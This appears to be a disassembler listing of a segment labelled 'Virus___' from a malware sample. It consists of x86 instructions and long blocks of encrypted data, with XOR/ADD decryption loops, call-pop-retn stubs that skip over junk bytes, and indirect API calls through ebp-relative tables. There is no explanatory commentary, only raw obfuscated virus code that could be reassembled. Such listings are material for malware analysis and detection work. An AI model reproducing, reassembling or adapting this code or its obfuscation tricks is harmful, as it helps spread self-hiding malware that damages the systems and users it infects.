		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 3F6F46C3h
		dd 90D43CB3h, 0BF0F10FFh, 0D858BDAh, 33095D2Ch,	5D276585h
		dd 81665309h, 5FCFE4DBh, 0E9905090h, 9,	9FBD6CE0h, 9757045Ah
		dd 0F006A39h, 4468FABFh, 66A5C9A5h, 81E5E1BBh, 5EBB2404h
		dd 9D895A55h, 95D1F85h,	0FFD8BF0Fh, 5D0FAD95h, 55006A09h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 17321BFh, 4617C52Bh,	858975ECh, 960A564h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0EFC35141h, 0B5236060h
		dd 95D08DDh, 0BF61F88Bh, 4C3C75B3h, 191E961h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 8BA185C3h, 78C61ABEh, 858B4686h, 960A55Ch, 0C9816660h
		dd 1CB8E201h, 6134B025h, 1800C7h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 71DD42C3h
		dd 53DB8166h, 60B58BEBh, 660960A5h, 8B9C2CBFh, 5D315185h
		dd 6E909h, 7A520000h, 666D024Dh, 95890689h, 95D1439h, 181D8589h
		dd 858B095Dh, 95D2C0Dh,	0EE8h, 14F18700h, 0F7D59542h, 0E7E39300h
		dd 817081F4h, 1BE3BF7h,	46895F2Dh, 56006A04h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 603BB5D5h
		dd 965BF850h, 0BF666050h, 0F18B348Ah, 0DB819661h, 61C461ECh
		dd 61BB03BBh, 5CB5FF2Fh, 600960A5h, 0FD7B70Fh, 680h, 398D8900h
		dd 61095D0Ch, 30AD9D8Bh, 1868095Dh, 815C0289h, 8AE72434h
		dd 6A5C1Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 75D901C3h, 72DF802Eh, 858DCDB3h, 960A564h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 68C35646h
		dd 9BA3CE88h, 5A310FBBh, 0F88B6651h, 0BB66505Bh, 4893ADAh
		dd 0FF72B724h, 5D0FAD95h, 52006A09h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 52BF3F7Ch
		dd 6124084Eh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 17h,	33C35242h, 0F0054F6h, 820FDAB7h, 6, 302DBD8Bh
		dd 85C7095Dh, 95D15F9h,	3, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 99C35646h, 55631758h,	0BF911344h, 6CE52F15h
		dd 0A564BD83h, 0F000960h, 7784h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 11BD8B58h
		dd 0F095D08h, 1A85h, 12E800h, 0FFFD0000h, 658C2367h, 5AD24B8Dh
		dd 0FA8DDA39h, 65CAB3CDh, 0E95BDF8Bh, 4Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 9DC35343h, 6290A168h
		dd 1DE411ECh, 10E5BD89h, 0CB81095Dh, 7465B6F8h,	110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h
		db 0E7h, 0EBh, 36h
; ---------------------------------------------------------------------------


loc_5B9533:				; CODE XREF: Virus___:005B910Fj
					; Virus___:005B954Aj
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5B9533
		jmp	short loc_5B9569
; ---------------------------------------------------------------------------


loc_5B954E:				; CODE XREF: Virus___:005B9565j
		push	eax
		shr	eax, 10h


loc_5B9552:				; CODE XREF: Virus___:005B95C2j
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5B954E
		jmp	short $+2


loc_5B9569:				; CODE XREF: Virus___:005B954Cj
		mov	eax, eax
		or	[ebp+95D233Dh],	esi
		push	0
		push	edi
		call	sub_5B957C
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B957C	proc near		; CODE XREF: Virus___:005B9574p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_5B957C	endp

; ---------------------------------------------------------------------------
		aam	8Fh
		popa
		test	[esi], al
		db	64h
		fsubp	st, st
		mov	edi, [ebp+95D276Dh]
		cmp	dword ptr [ebp+95D15F9h], 3
		jnz	loc_5B99E7
		push	0
		push	ebx
		call	sub_5B95B2
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B95B2	proc near		; CODE XREF: Virus___:005B95AAp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5B95B2	endp

; ---------------------------------------------------------------------------
		jle	short loc_5B9552
		and	esp, ebp
		fisub	word ptr [eax]
		sub	al, 95h
		pop	ds
		mov	ebx, [ebp+95D0855h]
		jno	loc_5B95DB
		mov	bx, 0C5DFh


loc_5B95DB:				; CODE XREF: Virus___:005B95D1j
		cmp	dword ptr [ebp+960A564h], 0
		jz	loc_5B99E7
		mov	[ebp+95D2F45h],	eax
		push	dword ptr [ebp+960A564h]
		mov	di, 568Ch
		and	ebx, [ebp+95D2901h]
		call	dword ptr [ebp+95D0A41h]
		sub	[ebp+95D0CE9h],	edx
		mov	[ebp+95D1981h],	edi
		mov	esi, [ebp+960A558h]
		push	0
		push	ebx
		call	sub_5B9621
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B9621	proc near		; CODE XREF: Virus___:005B9619p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5B9621	endp

; ---------------------------------------------------------------------------
		cdq
		cmp	eax, 0E5129298h
		movsb
		xor	[ebp+95D1EF9h],	ecx
		mov	dword ptr [esi], 10001h
		add	[ebp+95D2B7Dh],	ecx
		xchg	eax, esi
		mov	bl, ch
		push	eax
		mov	ebx, esi
		xchg	eax, esi
		push	0
		push	ecx
		call	sub_5B965C


loc_5B9659:				; CODE XREF: Virus___:005B9699j
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B965C	proc near		; CODE XREF: Virus___:005B9654p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5B965C	endp

; ---------------------------------------------------------------------------
		pop	esi
		mov	ecx, 2FB300D7h
		movzx	edi, ax
		push	dword ptr [ebp+960A564h]
		push	0
		push	esi
		call	sub_5B9686
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B9686	proc near		; CODE XREF: Virus___:005B967Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5B9686	endp

; ---------------------------------------------------------------------------
		adc	cl, [ebx-17h]
		jnz	short loc_5B9659
		pusha
		mov	al, 3Eh
		mov	cx, 0D18Ch
		popa
		call	dword ptr [ebp+95D05FDh]
		push	0
		push	edi
		call	sub_5B96B4
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B96B4	proc near		; CODE XREF: Virus___:005B96ACp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5B96B4	endp

; ---------------------------------------------------------------------------
		dd 0A7B98E06h, 58B58B55h, 6A0960A5h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0CFC2C353h
		dd 93C3924h, 5D3289B5h,	4D858B09h, 6A095D30h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 192CC353h, 7C97C427h, 0E91C41A3h, 0Dh, 0CB1AF5B2h, 8F920FC6h
		dd 694095DFh, 0C48689D2h, 81000000h, 97412DEFh,	19958B11h
		dd 60095D09h, 0CD9589F8h, 61095D18h, 0B39BD89h,	0C283095Dh
		dd 51006A04h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 664787CFh, 3EDA0068h, 14E92584h,	32000000h
		dd 162904E4h, 0EDE97309h, 0DCA483ACh, 0EF5BFE15h, 8985A06Bh
		dd 8DF82050h, 60BBC185h, 8689F809h, 0B8h, 22358D89h, 6A095Dh
		dd 0AECB8166h, 64B5FF38h, 0F0960A5h, 1787h, 12E900h, 70360000h
		dd 58C95355h, 4D7893E7h, 0B590EA08h, 52F46208h,	14C995FFh
		dd 6A095Dh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 769B30C3h, 0A0F4883Eh, 218529B4h,	96095D06h
		dd 0C51BBF66h, 28C0F50h, 0B7000000h, 6A9647h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 0D35D07C3h
		dd 0FF119046h, 60A564B5h, 50006A09h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0F4BB6187h
		dd 0F672286h, 8Dh, 14E900h, 0AB7C0000h,	88E40604h, 7D0A39AAh
		dd 0B22DB9E4h, 0F4D807A8h, 95FFB5F0h, 95D137Dh,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0BFC35545h, 2B017321h
		dd 0D1BD83C5h, 95D19h, 29840Fh,	8E0F0000h, 7, 0D3816657h
		dd 505B0DA4h, 0DF1DBF66h, 0E9243489h, 0Fh, 0C04D20C5h
		dd 496F0043h, 0DD7A4203h, 0FFECFC79h, 60A564B5h, 51006A09h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0C833C131h, 0E9605E4Ah, 0Bh,	0E5131816h, 2C74959Bh
		dd 8B668B89h, 5D05799Dh, 9595FF09h, 6A095D2Fh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 4597C357h, 79BBFE9h,	0ED369055h, 32ED9D8Bh, 0B5FF095Dh
		dd 960A564h, 7B9B531h, 95FF095Dh, 95D1795h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 75C35545h, 0BF0FF88Fh
		dd 11BD83DEh, 2095D0Bh,	4D840Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 3ACAC6C3h
		dd 0B700BBBEh, 8166FEDCh, 8BDDF2F3h, 5D14659Dh,	15858B09h
		dd 66095D22h, 0C6FA8Bh,	0FDCB300h, 0A8Ah, 5E900h, 452C0000h
		dd 0C768FE50h, 5D054585h, 9, 0EBB6600h,	0C99D8B2Eh
; ---------------------------------------------------------------------------
		and	ebx, [ebp+9]


loc_5B99E7:				; CODE XREF: Virus___:005B95A1j
					; Virus___:005B95E2j
		jmp	near ptr dword_5B8A14+33Ah
; ---------------------------------------------------------------------------
		mov	ebx, edi
		mov	eax, ecx
		push	0
		push	edx
		call	sub_5B99FB
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B99FB	proc near		; CODE XREF: Virus___:005B99F3p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5B99FB	endp

; ---------------------------------------------------------------------------
		cmp	[ecx+39858D19h], bh
		and	bl, [ebp+9]
		push	0
		push	ebx
		call	sub_5B9A1F
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B9A1F	proc near		; CODE XREF: Virus___:005B9A17p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5B9A1F	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 93BB11E1h, 0E91C43A7h, 12h, 0EFAFEE6Bh, 30EAA87Fh, 29D1CDEh
		dd 0D60AD89Dh, 6690EAA2h, 6650F98Bh, 90976BBBh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0FBC35242h, 0FF3511Ah
		dd 48Ch, 5B505000h, 6A006A5Fh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 484C357h, 2DBDDA49h
		dd 0B9BD8B50h, 5B095D21h, 840F006Ah, 0
; ---------------------------------------------------------------------------
		lea	eax, [ebp+961F105h]
		push	0
		push	ecx
		call	sub_5B9AC5
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B9AC5	proc near		; CODE XREF: Virus___:005B9ABDp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5B9AC5	endp

; ---------------------------------------------------------------------------
		db 57h,	22h, 52h
; ---------------------------------------------------------------------------
		mov	ebp, 1E72695h
		push	edi
		mov	ah, [ebx]
		mov	ebp, 95D2A05h
		add	eax, 5
		push	0
		push	ecx
		call	sub_5B9AF3
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B9AF3	proc near		; CODE XREF: Virus___:005B9AEBp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5B9AF3	endp

; ---------------------------------------------------------------------------
		db 0B8h
		dd 31A406C4h, 0B70F6041h, 0DE8F9h, 0DFD80000h, 0EFEA2164h
		dd 7F3A15C0h, 66F666CDh, 5A203EBAh, 52505061h, 310FD88Bh
		dd 0BE960h, 43760000h, 0BF017F5Eh, 3E7CA423h, 61ACB6B6h
		dd 489585Ah, 56006A24h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 22071234h, 6AFE8B22h, 0F7816600h
		dd 6A5A97h, 6890Fh, 95310000h, 95D12F5h, 85195FFh, 3360095Dh
		dd 5D16E195h, 87D1BF09h, 8D613CC2h, 60914C8Dh, 0CB7BBF09h
		dd 0D1FF120Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	0AFC35242h, 5F096A80h, 858B60D1h, 95D1A2Dh, 71BD8361h
		dd 1095D09h, 63850Fh, 81660000h, 6A60B8D3h, 56006A02h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 4BD77AFCh, 6DB7177Ch, 50503809h, 5FFE8B66h, 0FF240489h
		dd 5D14C995h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 3B535FBBh, 8F6331D6h, 0FBC38166h
		dd 0D27E965h, 0E80000h,	5D000000h, 0F10FED81h, 23600961h
		dd 5D18DD9Dh, 75953309h, 61095D21h, 23099D8Bh, 77BF095Dh
		dd 8D25EDDFh, 608AE285h, 51006A09h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 603D7150h, 0EE8FCh, 0D2F60000h
		dd 9548BD17h, 45D8AE03h, 24A34B4h, 182D8D89h, 505B095Dh
		dd 489D98Bh, 0D810F24h,	0E9000000h, 8, 0C418D14Fh, 80364DE6h
		dd 23859D8Bh, 0FF64095Dh, 35h, 0ADBD8B00h, 64095D04h, 2589h
		dd 0BD8B0000h, 95D1715h, 85FFDAB7h, 95D2169h, 9E9h, 50418F00h
		dd 0D9F3C37Ah, 535235A7h, 4CEB8166h, 6A5F5BD7h,	4C7EBBFFh
		dd 0B5FF5FE0h, 95D0525h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 16h, 77C35040h, 95FF93F8h,	95D0385h, 16CE9h
		dd 11E900h, 0B5330000h,	0A4B4529h, 6FB5A1C7h, 0C8C389F4h
		dd 6614FAFAh, 7EC4D381h, 5B5200B0h, 0B15C76BBh,	8970E66Fh
		dd 5D0725BDh, 6671E409h, 7DB7F381h, 830F613Ch, 131h, 29DD9589h
		dd 0B60F095Dh, 858B60C8h, 95D0861h, 0E811BE66h,	6BA61h
		dd 81660000h, 8B92D9E3h, 0EE9C1h, 14940000h, 0AE981927h
		dd 8FAEF0A7h, 174D811Bh, 8004E8C1h, 0F766A5E7h,	599509E2h
		dd 2B095D1Ah, 8BE9B7C8h, 0E3E9D1h, 0E8600000h, 5, 8D0FC708h
		dd 0BEBB5FDDh, 617340AEh, 4C50858Bh, 0BD8B4755h, 95D2811h
		dd 8907C083h, 5D24818Dh, 0C870F09h, 0F000000h, 684h, 0DD8D8900h
		dd 83095D0Ch, 0BB6600C0h, 0D03BF5FDh, 26830Fh, 5E90000h
		dd 5A000000h, 0B6282D7Fh, 8CE9h, 12E900h, 0FCDC0000h, 0D6047B61h
		dd 0DEE026F4h, 3E1EF9CCh, 0C6FE86E0h, 0FFFF8D8Bh, 0BE8FFFFh
		dd 9F000000h, 0E3F4B9FDh, 19897A56h, 5BF56DDAh,	0F01E183h
		dd 5484h, 0E1958900h, 83095D16h, 0FFFFFFA5h, 0B589FEFFh
		dd 95D0561h, 4C509589h,	13E94755h, 44000000h, 0DBD4E542h
		dd 0BF8C7DA2h, 55D39A04h, 0F3F16C74h, 12E80E27h, 0DB000000h
		dd 0AD757E85h, 58FF08A8h, 0DD31684Dh, 7CBF74BEh, 819D8B0Bh
		dd 5B095D24h, 0E9h, 8AB58D00h, 66096168h, 6A757BBFh, 22CF8100h
		dd 0FF428DD0h, 5D11B195h, 0B9F98B09h, 1135h, 5E9h, 0B7FBCC00h
		dd 0E183A4F1h, 665660FCh, 5659D38Bh, 13A9858Bh,	615F095Dh
		dd 0DBBF0FFCh, 8589C02Bh, 95D16B9h, 0BAh, 6890F00h, 8B000000h
		dd 5D10B59Dh, 0C233AD09h, 0D003E8D1h, 7504E983h, 53006AF4h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 6A069C78h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 80C353h, 0BD293082h, 95D216Dh
		dd 880Dh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 883C6772h, 0CB1AF5B2h, 958B0FC6h
		dd 95D0919h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	3EC35747h, 56E9CADFh, 0F6A22A30h, 21BD8905h, 0F8095D28h
		dd 12859D8Bh, 8D8B095Dh, 95D1349h, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 4DBF5818h, 6A6470D5h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 4E0FC352h, 69BD8389h, 95D31h, 91840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 606D40C3h, 0B7C68B66h, 0B861F2h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 8F4CC355h, 0B7BA1769h, 8D2C1F16h, 5D4D928Dh,	55006A09h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 0C9033E93h, 4A73228h, 0D4EB8166h, 0D98B6658h, 830FE1FFh
		dd 6, 32F98531h, 20BF095Dh, 836381CEh, 5D15F9BDh, 840F0009h
		dd 44Ah, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 15h,	0B4C35545h, 33D381B6h, 830E9A4Fh, 5D15F9BDh, 840F0109h
		dd 435h, 0E3635BBFh, 0F9BD8336h, 3095D15h, 3ED860Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 0D221BCC3h, 667B5528h, 0F84BDF81h, 55006A60h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
		dd 364978CFh, 0CA58B624h, 0D98C669Ch, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 39C35747h, 0C75E1BB6h, 0DEDCBB66h
		dd 8B04E180h, 5D2AD5BDh, 0FC90A09h, 11F84h, 0F3816600h
		dd 9589E805h, 95D2081h,	2C0D858Bh, 0DF8B095Dh, 27658533h
		dd 6A095Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0B9C481C3h, 6C9FBF4Dh, 358D31h, 0BF90095Dh
		dd 0A01ACE6h, 8B666050h, 10E8D1h, 96ED0000h, 0CDE301FBh
		dd 92B4BB82h, 909EB5F6h, 52502459h, 585A310Fh, 6A90615Ah
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0CB98C351h, 899654CCh, 5D27B19Dh,	0F9B58909h
		dd 6A095D2Bh, 0DFBF6000h, 0F443585h, 68Bh, 0ADE28100h
		dd 612BC9B4h, 0C5F50A68h, 8138B7A9h, 0EF52404h,	0BE85659h
		dd 0
		dd 3610FE48h, 364E526Dh, 9D8BF683h, 95D12ADh, 0DBB70F5Fh
		dd 0FAD95FFh, 6652095Dh, 5BC804BFh, 0A5648589h,	6A0960h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0F7E537C3h, 0B292F890h, 0BD8B2DE7h, 95D28B9h, 0D4EF8166h
		dd 1D0E935h, 0D7810000h, 33132ACDh, 0A55C858Bh,	6A0960h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0FB1A45C3h, 174FE9F5h, 0C9DBD8Bh, 9589095Dh,	95D2B75h
		dd 1800C7h, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 150424h, 56460000h, 8BEC36C3h, 5D1EEDBDh, 60B58B09h
		dd 6A0960A5h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 0CAFEC350h, 8B6709C2h,	5D315185h
		dd 55006A09h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 89E4ECA7h, 0E1BD0306h, 8B095D16h, 5D2C0D85h
		dd 12E96009h, 0C8000000h, 0E21B5AE4h, 0E31A9DA4h, 0AD8F501Ch
		dd 203243EAh, 46896130h, 38B0F04h, 0F000000h, 0BD89F9BFh
		dd 95D2811h, 0C9BB6650h, 24348921h, 0A55CB5FFh,	6A0960h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0BD8B26C3h, 95D18CDh, 4E8h, 1F03FF00h, 50FC8A00h, 448B21B7h
		dd 8B600424h, 0AE8DEh, 7BFE0000h, 28537E3Bh, 3DFA5D2Ch
		dd 615B6160h, 0EE9008Bh, 0EA000000h, 2E8A1347h,	0FAFC3FD2h
		dd 852CB086h, 244489B9h, 2870F04h, 8A000000h, 958958DDh
		dd 95D0345h, 0A564858Dh, 6A0960h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 0F5C23EC3h, 0F6A704AAh
		dd 0C3819570h, 61A93D35h, 50FB8B90h, 6A90FE8Bh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 11A9C350h, 18D2711Fh, 80F6B40Fh, 0BF0F26F3h,	0AD95FFDBh
		dd 80095D0Fh, 6A619CC7h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 5767C350h, 4FF319E0h
		dd 6880Fh, 0D3810000h, 3933D971h, 15F985C7h, 3095Dh, 0DB810000h
		dd 36CC33BAh, 182D9D8Bh, 0BD83095Dh, 960A564h, 30840F00h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 9BDAC350h, 0F5C8F450h,	0B84DA818h
		dd 21E9h, 7CF8100h, 50729377h, 110C30h,	0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 6AC08Bh,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 8991E5C3h, 5D1711BDh
		dd 68A0F09h, 89000000h,	5D28F9BDh, 4D9D8B09h, 83095D31h
		dd 5D15F9BDh, 850F0309h, 3CEh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 7EC35747h, 0FC716152h, 40B71424h
		dd 5298589h, 0B501095Dh, 95D0C7Dh, 0A564BD83h, 0F000960h
		dd 39184h, 14E78000h, 0A564B5FFh, 6A0960h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 8B494FC3h
		dd 5D23259Dh, 0DF8B6609h, 0A4195FFh, 0B501095Dh, 95D2515h
		dd 0A558B58Bh, 6C70960h, 10001h, 0E852006Ah, 3,	5AC35A20h
		dd 4245489h, 4244481h, 15h, 0C6C35242h,	52509631h, 6E950h
		dd 37D40000h, 697B34B3h, 53310F5Bh, 310F5250h, 5A5F585Ah
		dd 52505058h, 310FDAB3h, 5AFA8B66h, 6A9658h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0BF66E0C3h
		dd 0B5FFD602h, 960A564h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 0FFC35343h, 72E46095h, 9C7087B2h, 95FFFC9Eh
		dd 95D05FDh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	48C35242h, 0D6DB2878h, 85312E11h, 95D2C09h, 7E9h
		dd 93166300h, 8A2E32B9h, 0A558B58Bh, 6A0960h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 858B79C3h
		dd 95D304Dh, 0C48689h, 0F9530000h, 19958B5Bh, 8B095D09h
		dd 5D19B9BDh, 4C28309h,	89DFBF0Fh, 6A2050h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0BF0F2DC3h
		dd 0C1858DFEh, 6A0960BBh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0CAD1C351h,	0CE916CBh
		dd 41000000h, 0D15AFA28h, 8B3CBFDh, 89B88D80h, 0B886h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 3FB2DABCh, 8B8A5F9Ch, 5D25259Dh,	0C7816609h
		dd 6A31A1h, 549BD01h, 0B5FF095Dh, 960A564h, 95FFFA8Bh
		dd 95D14C9h, 18830Fh, 13E90000h, 0DE000000h, 0AB268152h
		dd 0E10FEB16h, 5E8F856h, 0F38263Ch, 565065D4h, 0C9DDBB50h
		dd 5F5F3E88h, 6A243489h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 7D4CC350h, 0E4FCB186h
		dd 64B5FF5Eh, 8B0960A5h, 5D0BA1BDh, 7D95FF09h, 0F095D13h
		dd 0BD83DBB7h, 95D19D1h, 6B840F00h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0E4CDC357h, 0C10FCBC9h, 452290E1h, 39DBBFh, 0E8509607h
		dd 13h,	1845A44Ah, 2FDB7FD8h, 912617A5h, 43457188h, 8B188EF7h
		dd 6A965FF9h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0A4CFC356h, 6B8A3E68h,	0B5FFF5FDh
		dd 960A564h, 0FFD9BF0Fh, 5D2F9595h, 0BF666009h,	8B665606h
		dd 0B5FF61C6h, 960A564h, 0ADD38166h, 9595FF22h,	0F9095D17h
		dd 0B11BD83h, 0F02095Dh, 7984h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 510994h, 89186C6Dh
		dd 5D33D98Dh, 88BB6609h, 15858B60h, 6A095D22h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 688AC353h, 8EE5DCD4h, 16A99D01h, 0C6095Dh, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 85C7C4EDh, 95D0545h,	0
		dd 9C18589h, 0D8E9095Dh, 6AFFFFF3h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 1575C357h
		dd 0A7F819Dh, 6AC18BC3h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 64BCC351h, 39858D2Ch
		dd 6A095D22h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 48C0C356h, 1F276A3Eh, 60B81437h
